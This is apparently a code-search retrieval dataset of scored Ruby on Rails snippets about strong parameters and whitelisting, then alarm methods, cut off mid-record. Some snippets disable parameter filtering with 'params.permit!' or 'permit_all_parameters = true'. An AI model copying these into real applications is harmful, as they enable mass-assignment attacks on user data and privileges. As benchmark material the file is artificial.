[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.69792545", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6781151", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.67419964", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.674013", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6734356", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6591046", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.6502396", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.6496313", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6480641", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.64565", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6438387", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63791263", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.63740575", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6364131", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.63192815", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.62991166", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.62978333", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6292148", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6290449", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6290076", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.62894756", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283177", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6242471", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62382483", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6217549", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6214457", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.6209053", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.6193042", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.6177802", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.6174604", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.61714715", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6161512", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.6151757", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6150663", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.61461", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61213595", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6106206", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6105114", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6089039", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6081015", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6071004", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6019971", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.601788", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6011056", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.6010898", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.6001556", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6001049", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59943926", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992201", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.59909594", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5990628", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.5980841", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59669393", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59589154", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.5958826", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5957911", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5957385", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5953072", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.59526145", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5943361", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.59386164", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5933856", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59292704", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.59254247", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5924164", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.59167904", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59088355", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5907542", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.59064597", "text": "def url_whitelist; end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.5906243", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5898226", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.589687", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5896091", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.5894501", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5894289", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5891739", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.58860534", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.5882406", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.587974", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.58738774", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5869024", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58679986", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.5867561", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5865932", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.5864461", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.58639693", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.58617616", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.5861436", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5860451", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.58602303", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5854586", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.58537364", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5850427", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5850199", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
231b1bc302ea49de8a452a6e12ff0203
Raise a new alarm, or overwrite the existing alarm with the same id if one exists.
[ { "docid": "bdab9ebdc533b2464306b26d5124e898", "score": "0.72965956", "text": "def raise(alarm)\n @alarms[alarm.id] = alarm\n end", "title": "" } ]
[ { "docid": "35aabca532524e824f8fd8c75cea8f94", "score": "0.66856873", "text": "def set_alarm\n @alarm = Alarm.find(1)\n end", "title": "" }, { "docid": "a333f55f27872dd9e89847606f03e5bd", "score": "0.6227611", "text": "def set_alarm\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "a333f55f27872dd9e89847606f03e5bd", "score": "0.6227611", "text": "def set_alarm\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "a333f55f27872dd9e89847606f03e5bd", "score": "0.6227611", "text": "def set_alarm\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "a333f55f27872dd9e89847606f03e5bd", "score": "0.6227611", "text": "def set_alarm\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "a333f55f27872dd9e89847606f03e5bd", "score": "0.6227611", "text": "def set_alarm\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "ec5ab6b7043741260b9af6956d69e253", "score": "0.60915047", "text": "def create_alarm(name, &block)\n alarms[name] = block\n end", "title": "" }, { "docid": "a7fa76a761fe30f2fad815c415a9b04c", "score": "0.60695267", "text": "def set_alarm\r\n @alarm = Alarm.find(params[:id])\r\n end", "title": "" }, { "docid": "588a6b2cc294fb2f6ad56bdff244226c", "score": "0.60659087", "text": "def set_alarm\n @alarm = Alarm.find(params[:id])\n end", "title": "" }, { "docid": "6591c08e458f78a07cffa4f90b2f2976", "score": "0.59700763", "text": "def send_alarm_trigger\n alarm_time = get_alarm_time\n alarm_time_msg = \"No alarm set\"\n alarm_time_msg = \"Alarm set for #{alarm_time.strftime(\"%H:%M\")}\" if alarm_time\n Handlers[:trigger].first.send_trigger :category => :AlarmClock, :key => :TimeSetFor, :values => [alarm_time_msg]\n end", "title": "" }, { "docid": "5b05384f1be709c7f427c4b110662db7", "score": "0.5937389", "text": "def on_alarm(name, &block)\n actions[name] = block\n end", "title": "" }, { "docid": "e7b504aaa42cb25af1cd718dbbeb2844", "score": "0.5891334", "text": "def autoset_next_alarm\n # don't re-set the alarm if it's already been manually set\n if(get_alarm_time) then\n @log.debug \"Not auto-setting alarm as it has already been manually set\"\n return\n end\n # next alarm will be tomorrow at whatever time is set for that day of the week\n tomorrow = Time.now + 60*60*24\n next_day = tomorrow.strftime(\"%A\").downcase.to_sym\n alarm_time = NestConfig[:alarm_clock][:schedule][:alarm][next_day]\n alarm_hour = alarm_time.to_s[0..1]\n alarm_minute = alarm_time.to_s[2..3]\n set_alarm_time alarm_hour, alarm_minute\n\n # announce what we set the alarm for\n announcement = \"Since tomorrow is #{next_day}, I've set your alarm for #{alarm_hour}:#{alarm_minute}.\"\n Speech.instance.make_announcement announcement\n end", "title": "" }, { "docid": "b07297827fb6217d16cacbc7e8604209", "score": "0.57474416", "text": "def isAlarm?\n id == ALARM\n end", "title": "" }, { "docid": "834a36af9dfe9d72d9a29de2e7506a43", "score": "0.5647865", "text": "def update_alarm(user_id: '-', tracker_id:, alarm_id:, time: nil, enabled: nil, recurring: nil, week_days: nil, snooze_length: nil, snooze_count: nil, label: nil, vibe: nil)\n registered_alarms = alarms(user_id: user_id, tracker_id: tracker_id)\n updating_alarm = nil\n\n registered_alarms['trackerAlarms'].each do |registered_alarm|\n if registered_alarm['alarmId'] == alarm_id.to_i\n updating_alarm = registered_alarm\n end\n end\n if updating_alarm.nil?\n return nil\n end\n\n opts = Hash.new\n opts['time'] = time.nil? ? updating_alarm['time'] : time\n opts['enabled'] = enabled.nil? ? updating_alarm['enabled'] : enabled\n opts['recurring'] = recurring.nil? ? updating_alarm['recurring'] : recurring\n opts['weekDays'] = week_days.nil? ? updating_alarm['weekDays'].join(',') : week_days\n opts['snoozeLength'] = snooze_length.nil? ? updating_alarm['snoozeLength'] : snooze_length\n opts['snoozeCount'] = snooze_count.nil? ? updating_alarm['snoozeCount'] : snooze_count\n opts['label'] = label unless label.nil?\n opts['vibe'] = vibe unless vibe.nil?\n\n return post(\"#{API_URI}/#{DEVICES_API_VERSION}/user/#{user_id}/devices/tracker/#{tracker_id}/alarms/#{alarm_id}.json\", opts)\n end", "title": "" }, { "docid": "712810198cd56c9ba660a921088d00d1", "score": "0.56201553", "text": "def alarm(&block)\n a = Alarm.new\n self.add_component a\n a.instance_eval(&block)\n\n a\n end", "title": "" }, { "docid": "ee63c5c1ade1fa64b148c558b775285c", "score": "0.5574659", "text": "def set_alarm(alarm = facility.alarm_status?)\n rpc('alarm', {enabled: (alarm ? 1 : 0)})\n end", "title": "" }, { "docid": "8c3b5e7d20ea0c06b7bbda3a42a79f61", "score": "0.54937696", "text": "def update_alarm(tracker_id, alarm_id, body = {})\n post(\"user/#{user_id}/devices/tracker/#{tracker_id}/alarms/#{alarm_id}.json\", body)\n end", "title": "" }, { "docid": "020a13d2114c461728adf572a11fdf9d", "score": "0.5453082", "text": "def set_alarm_from_trigger(hour_val, minute_val)\n # decode what time the button the user pressed refers to\n # TODO: put this in config file\n hour_values = [5, 6, 7, 8, 9, 10]\n minute_values = [0, 15, 30, 45]\n hour = hour_values[hour_val.to_i - 1]\n minute = minute_values[minute_val.to_i - 1]\n # get rid of any existing alarm setup\n Scheduler.instance.delete_by_tag(\"alarmclock\")\n # set the new alarm to the time requested\n set_alarm_time hour, minute\n # update any UIs that care by sending a trigger with the updated data\n send_alarm_trigger\n end", "title": "" }, { "docid": "5f029bbb114ccfa53e7f6af3f275a125", "score": "0.5452452", "text": "def set_alarm(seconds)\n broadcast('@type' => 'setAlarm',\n 'seconds' => seconds)\n end", "title": "" }, { "docid": "183e3a9e2c43d6394e43c063ed7858e2", "score": "0.54265714", "text": "def alarm(receiver)\n client = Twilio::REST::Client.new @config.account_sid, @config.auth_token\n client.calls.create(\n from: @config.phone_nbr_from,\n to: receiver,\n url: @config.twiml_bin_message_url + @message.tr(' ', '+')\n )\n rescue StandardError => errormsg\n LOGGER.warn \"Call probably not made!\\nReceiver: #{receiver}\\nMessage: #{@message}\\nError: #{errormsg}!\"\n else\n LOGGER.info \"#{receiver} called.\"\n end", "title": "" }, { "docid": "b30b38aa9f4e2bb93aed556b2eeb312a", "score": "0.5413855", "text": "def remind\n unless alert.is_a?(Alert)\n logger.info \"#{self.inspect} lost alert #{alert_id}. Killing self.\"\n destroy\n return false\n end\n \n if !alert_group \n logger.info(\"No alert group matches any more. Clearing reminder for #{self.alert}.\")\n self.remind_at = nil\n return save\n end\n\n if alert.acknowledged? or alert.cleared?\n logger.info(\"Alert already acknowledged/cleared. Clearing reminder due for #{self.alert}.\")\n self.remind_at = nil\n return save\n end\n\n #\n # Postpone reminders from previous runs, if needed.\n #\n if Server.instance.in_initial_sleep? and\n self.at < Server.instance.started_at\n\n self.remind_at = Server.instance.started_at + Server.instance.initial_sleep\n logger.info(\"Postponing reminder for #{self.alert} until #{self.remind_at} since this reminder was updated in a prior run of Mauve.\")\n return save\n end\n\n #\n # Bail out if notifications for this alert have been suppressed.\n #\n if alert.suppressed?\n #\n # Skip reminders if the alert is suppressed.\n #\n logger.info(\"Notifications suppressed until #{alert.suppress_until} for #{alert.inspect}\")\n else\n #\n # Push this notifitcation onto the queue.\n #\n Server.notification_push([alert, self.remind_at])\n end\n\n #\n # Need to make sure this reminder is cleared.\n #\n self.remind_at = nil\n\n #\n # Now save.\n #\n return self.save\n end", "title": "" }, { "docid": "98d407fda4c43f2f87e0ead8fec0df0f", "score": "0.53457713", "text": "def add_alarm(tracker_id, body = {})\n post(\"user/#{user_id}/devices/tracker/#{tracker_id}/alarms.json\", body)\n end", "title": "" }, { "docid": "debbb4548cbbaf8e6ea332ef9fe8101d", "score": "0.5330929", "text": "def raise!(at = Time.now)\n #\n # OK if this is an alert updated in the last run, do not raise, just postpone.\n #\n if (self.will_raise_at or self.will_unacknowledge_at) and\n Server.instance.in_initial_sleep? and\n self.updated_at and\n self.updated_at < Server.instance.started_at\n\n postpone_until = Server.instance.started_at + Server.instance.initial_sleep\n\n if self.will_raise_at and self.will_raise_at <= Time.now\n self.will_raise_at = postpone_until\n end\n\n if self.will_unacknowledge_at and self.will_unacknowledge_at <= Time.now\n self.will_unacknowledge_at = postpone_until\n end\n\n logger.info(\"Postponing raise of #{self} until #{postpone_until} as it was last updated in a prior run of Mauve.\")\n else\n self.acknowledged_by = nil\n self.acknowledged_at = nil\n self.will_unacknowledge_at = nil\n self.raised_at = at if self.raised_at.nil? or self.was_acknowledged?\n self.will_raise_at = nil\n self.cleared_at = nil\n # Don't clear will_clear_at\n self.suppress_until = nil unless self.suppressed? or self.was_raised?\n end\n\n self.save\n end", "title": "" }, { "docid": "df5e8bb9b782030ac8fe3cdef8d211e1", "score": "0.53241014", "text": "def setAlarmTime\n time 